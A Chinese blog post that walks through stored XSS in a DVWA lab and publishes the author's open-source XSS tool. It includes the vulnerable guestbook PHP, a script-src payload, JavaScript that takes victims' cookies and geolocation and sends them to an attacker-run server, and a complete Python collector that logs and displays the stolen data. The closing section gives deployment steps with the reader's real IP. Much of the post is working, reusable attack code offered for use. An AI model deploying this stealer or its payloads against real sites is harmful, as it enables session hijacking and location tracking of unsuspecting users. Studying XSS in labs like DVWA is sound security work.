首页 > 其他分享 >暑期课程学一学XSS攻击,以及开源项目

暑期课程学一学XSS攻击,以及开源项目

时间:2024-07-09 21:20:51浏览次数:12  
标签:XSS log ip self 暑期 学一学 cookie longitude

XSS存储型

本文主要是使用vulstudy直接搭建的漏洞环境,是其中的DVWA。然后随手记一个反弹shell的工具反弹shell工具

原理

存储型XSS,也叫持久型XSS,主要是将XSS代码发送到服务器(不管是数据库、内存还是文件系统等。),然后在下次请求页面的时候就不用带上XSS代码了。最典型的就是留言板XSS。用户提交了一条包含XSS代码的留言到数据库。当目标用户查询留言时,那些留言的内容会从服务器解析之后加载出来。浏览器发现有XSS代码,就当做正常的HTML和JS解析执行。XSS攻击就发生了。

low等级的代码如下:

if( isset( $_POST[ 'btnSign' ] ) ) {
    // 检查是否有POST请求且键 'btnSign' 存在
    // 也就是说,表单是否被提交

    // 获取输入
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // 去掉$message和$name两边的空格字符

    // 消毒message输入
    $message = stripslashes( $message );
    // 移除$message中的反斜杠

    $message = mysql_real_escape_string( $message );
    // 使用mysql_real_escape_string()函数对$message进行转义,防止SQL注入攻击

    // 消毒name输入
    $name = mysql_real_escape_string( $name );
    // 使用mysql_real_escape_string()函数对$name进行转义,防止SQL注入攻击

    // 更新数据库
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    // 构建插入查询语句,将$message和$name插入到guestbook表中的comment和name字段

    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
    // 执行查询,如果出错则输出错误信息

    // mysql_close();
    // 关闭MySQL连接(已被注释掉)
}

简单来说,就是会根据输入的结果上传到数据库中。如果成功了,这些js代码则会在html解析的时候执行。

比方提交name为aaa,Message为<script>alert('hello,XSS')</script>就会被执行如下:

image

能用来做什么

我们可以在攻击者的服务器,写下一个attack.js文件,在里面写出攻击代码,比如获取cookie之类的代码。然后在有XSS漏洞的地方写入<script src="http://ip:port/attack.js"></script>,这样访问的时候就可以触发漏洞了。我们接下来举个例子。

我们这里Name输入test(这里可以是随意的)以及Message输入

image

提交以后,我们可以看到后台获取了UP地址,COOKIE,经纬度的信息:

image

在前端也可以看到对应的信息更新了,获取到了ip地址等信息:

image

其他的,还可以实现如下功能:

image

实现方式

payload如下,提交之后加载就会导致相关的js代码执行:

<script src="http://127.0.0.1:8888/a.js"></script>

其中的127.0.0.1根据攻击方的服务器ip来决定。比如我的本机ip地址也可以是172.17.0.1,那么也可以用这个ip地址访问(同时为了payload更短我将a.js文件名改为了N):

image

我们发现也是完全可以的。

image

原理如下

启动一个apache服务器,根目录下有这个a.js,我开放在888端口,所以可以通过http://127.0.0.1:8888/a.js访问。

// Function to send data to server
function sendData(cookie, ip, latitude, longitude) {
    var img = new Image();
    img.src = "http://127.0.0.1:8887/atk?cookie=" + encodeURIComponent(cookie) + "&ip=" + encodeURIComponent(ip) + "&latitude=" + encodeURIComponent(latitude) + "&longitude=" + encodeURIComponent(longitude);
}

// Get cookie
var cookie = document.cookie;

// Get geolocation
if (navigator.geolocation) {
    navigator.geolocation.getCurrentPosition(function(position) {
        var latitude = position.coords.latitude;
        var longitude = position.coords.longitude;
        sendData(cookie, "", latitude, longitude);
    });
} else {
    console.log("Geolocation is not supported by this browser.");
    sendData(cookie, "", "", "");
}

这里面的功能就是获取cookie:

var cookie = document.cookie;

经纬度:

var latitude = position.coords.latitude;var longitude = position.coords.longitude;

然后用

"http://127.0.0.1:8887/atk?cookie=" + encodeURIComponent(cookie) + "&ip=" + encodeURICompsonent(ip) + "&latitude=" + encodeURIComponent(latitude) + "&longitude=" + encodeURIComponent(longitude)

去访问下面的python服务器。意思就是把刚才的cookie和经纬度用GET请求传过去,然后到python服务器如下:

from http.server import BaseHTTPRequestHandler, HTTPServer
import urllib.parse
import datetime

# 定义一个处理请求的类
class MyHTTPRequestHandler(BaseHTTPRequestHandler):

    log_file = "log.txt"

    # 处理GET请求
    def do_GET(self):
        if self.path == '/':
            self.send_index()
        elif self.path.startswith('/log'):
            self.send_log()
        elif self.path.startswith('/atk'):
            # 解析URL中的参数
            parsed_path = urllib.parse.urlparse(self.path)
            query_params = urllib.parse.parse_qs(parsed_path.query)

            # 获取参数
            if 'cookie' in query_params:
                cookie_value = query_params['cookie'][0]
                ip_address = self.client_address[0]  # 获取客户端IP地址
                latitude = query_params.get('latitude', [''])[0]
                longitude = query_params.get('longitude', [''])[0]

                # 如果存在X-Forwarded-For头部,则使用该头部的值
                x_forwarded_for = self.headers.get('X-Forwarded-For')
                if x_forwarded_for:
                    ip_address = x_forwarded_for.split(',')[0].strip()

                # 记录日志
                log_entry = f"{datetime.datetime.now()}\n Cookie: {cookie_value},\n IP: {ip_address},\n Latitude: {latitude},\n Longitude: {longitude}\n\n"
                print(log_entry)
                self.write_to_log(log_entry)

            # 返回一个简单的响应
            self.send_response(200)
            self.end_headers()
            self.wfile.write(b'Cookie Received')

    # 发送首页
    def send_index(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        html = """
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>Welcome Page</title>
            <style>
                body {
                    font-family: Arial, sans-serif;
                    display: flex;
                    justify-content: center;
                    align-items: center;
                    height: 100vh;
                    margin: 0;
                    background-color: #f0f0f0;
                }
                .welcome-message {
                    font-size: 2em;
                    color: #333;
                }
                .log-link {
                    margin-top: 20px;
                }
            </style>
        </head>
        <body>
            <div class="welcome-message">Welcome to N1nEmAn XSS</div>
            <a class="log-link" href="/log">View Log</a>
            <script>
                // This script can be used for any future JavaScript functionalities
                console.log("Page loaded successfully");
            </script>
        </body>
        </html>
        """
        self.wfile.write(html.encode('utf-8'))

    # 发送日志页面
    def send_log(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()

        # 读取日志文件内容
        log_content = self.read_log()

        html = f"""
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>Log Viewer</title>
            <style>
                body {{
                    font-family: Arial, sans-serif;
                    margin: 20px;
                }}
                .log-entry {{
                    margin-bottom: 10px;
                    padding: 10px;
                    border: 1px solid #ccc;
                    background-color: #f9f9f9;
                }}
            </style>
        </head>
        <body>
            <h2>Log Viewer</h2>
            <div class="log-entries">
                {log_content}
            </div>
            <a href="/">Back to Home</a>
        </body>
        </html>
        """
        self.wfile.write(html.encode('utf-8'))

    # 读取日志文件
    def read_log(self):
        try:
            with open(self.log_file, 'r') as log:
                log_content = log.read().replace("\n","<br>")
            return log_content
        except FileNotFoundError:
            return "Log file not found."

    # 写入日志文件
    def write_to_log(self, log_entry):
        with open(self.log_file, 'a') as log:
            log.write(log_entry)

# 主程序入口
def run(server_class=HTTPServer, handler_class=MyHTTPRequestHandler, port=8887):
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    print(f'Starting httpd on http://127.0.0.1:{port}...')
    httpd.serve_forever()

# 如果是直接运行该脚本,则启动服务器
if __name__ == '__main__':
    run()

这个python服务器打开在8887端口,主要就是获取刚才得到的cookie和经纬度并且获取用户的ip,然后计入日志,可以通过前端查看。前端如下:

image

查看日志如下:

image

最后

简单来说,XSS可以执行任意的js代码,能够造成非常大的危害。曾经有个师傅叫rabbit,发现了推特的XSS漏洞,结果推特的安全部门认为这是个无关紧要的漏洞,rabbit多次反应都没有得到赏金和承认。最后他把这个漏洞公开,因为官方觉得这个不是什么漏洞,间接导致了黑客使用使得推特的所有广告投放失效,造成了巨大的经济损失。(说明这个例子是告诉大家XSS漏洞危害很大,请不要乱用哦 ; ))

XSS工具用法

已经开源到:https://github.com/N1nEmAn/N1nEXSS

将js下的文件夹保存到apache的目录下,然后修改其中js文件的ip地址为你的实际ip地址。
同时你的payload为:

<script src="http://{你的ip地址}:{你的apache端口,一般为80可以不填写}/N"></script>

然后直接访问你的python服务器即可获取XSS攻击结果。

标签:XSS,log,ip,self,暑期,学一学,cookie,longitude
From: https://www.cnblogs.com/9man/p/18292753

相关文章

  • 生产实习--启明星辰 第四天(Web网络安全基础知识,sql注入,xss攻击,csrf与ssrf,xxe攻击,未授
    web安全的基础知识基本定义Web安全,也称为网络安全或在线安全,是指保护网站、网页和Web服务免受各种威胁和攻击的技术和实践。这些威胁可能来自恶意软件、网络攻击、数据泄露、身份盗窃、服务中断等。Web安全的目标是确保Web应用程序和用户数据的安全、完整和可用性。一般流程......
  • 实战篇——XSS漏洞dedecms渗透实战
    实战篇——XSS漏洞dedecms渗透实战XSS渗透实战本节借助XSS平台通过存储型XSS盲打实现管理员session劫持,进而上传一句话木马获得服务器权限。创建xss项目:将生成的xss代码植入评论:发表,提示正在审核:模拟管理员查看待审核的评论:查看xss项目,此时已经获得管理员的cookie以及......
  • 07_08_暑期个人赛4
    E2.StringColoring(hardversion)时间:2024-07-09原题:CodeforcesRound617(Div.3)E2.StringColoring(hardversion)题意给一串小写字母组成的字符串,要求上色,只有颜色不同的相邻字母能换位置不考虑交换次数,问最少涂几种颜色才能使最后的序列有序思路假定当前遇到的......
  • 暑期旅游怎么玩?开发旅游小程序让出行变简单
     暑假正值旅游旺季,旅游小程序的出现为旅行带来了许多便利。随着移动互联网的发展,旅游行业也在不断寻求创新与变革。旅游小程序为游客提供了更加便捷的旅行体验,通过旅游小程序,用户可以了解旅游信息、旅游服务、在线咨询等,实现在线一站式解决旅行需求的目标。YesPMP一站式互联......
  • 实战篇——XSS漏洞xss-labs-master靶场实战一
    实战篇——XSS漏洞xss-labs-master靶场实战(1)XSS的分类(1)反射型XSS攻击者通过电子邮件等方式将恶意链接发送给目标用户。当目标用户点击该链接时,服务器接收该目标用户的请求并把带有恶意脚本的页面发送给目标用户的浏览器,浏览器解析页面时就会执行恶意脚本。(2)存储型XSS......
  • 南京外国语学校暑期集训7/8号排序2
    显然,这道题使用快排第k大做,快排第k大思想:(下标从1开始)每次找一个key值,一轮后可以得到key在原数组中的位置(暂且称之为a),把a和n-k+1值比较,一样就返回,小就往左边找,大就往右边找。然后原数组在main里按题目要求初始化一下就行了点击查看代码#include<bits/stdc++.h>usingnamespac......
  • 24暑期第三次训练C组题解
    目录A津津的储蓄计划auto遍历:B校门外的树memset()C杨辉三角DSpecialCharacters位运算&三目运算符EStrangeSplittingFStickogonGCardExchange构造结构体和重载运算符HLeastProductI选数JPeter的烟A津津的储蓄计划模拟题,按题意模拟即可.voidfunc(){ intjin......
  • 07_07_暑期个人赛3
    A.Row时间:2024-07-08原题:CodeforcesRound484(Div.2)A.Row题意给一串字符串有01组成,1边上不能有1,0边上不能没有1,如果满足输出yes思路就,一个一个遍历过来,写这题主要因为需要看清题目,注意如果只有一个“0”需要输出no,因为没有1A.AliceandBob时间:2024-07-08原题:Cod......
  • 大一暑期记录(1)
    在暑假开始的第一周我阅读了王建民老师推荐的书籍《大道至简:软件工程实践者的思想》的前五章,其中第一章通过引用愚公移山这一故事讲解了编程的精义鼓舞了我这个编程菜鸟的内心,这一张内容较为易懂所以看得很快,但从第二章就开始涉及团队的协作与管理以及一些专业术语,这让这本书的理......
  • 用SpringBoot打造坚固防线:轻松实现XSS攻击防御
    在这篇博客中,我们将深入探讨如何使用SpringBoot有效防御XSS攻击。通过结合注解和过滤器的方式,我们可以为应用程序构建一个强大的安全屏障,确保用户数据不被恶意脚本所侵害。目录什么是XSS攻击?SpringBoot中的XSS防御策略使用注解实现XSS防御使用过滤器实现XSS防御结合注解与过......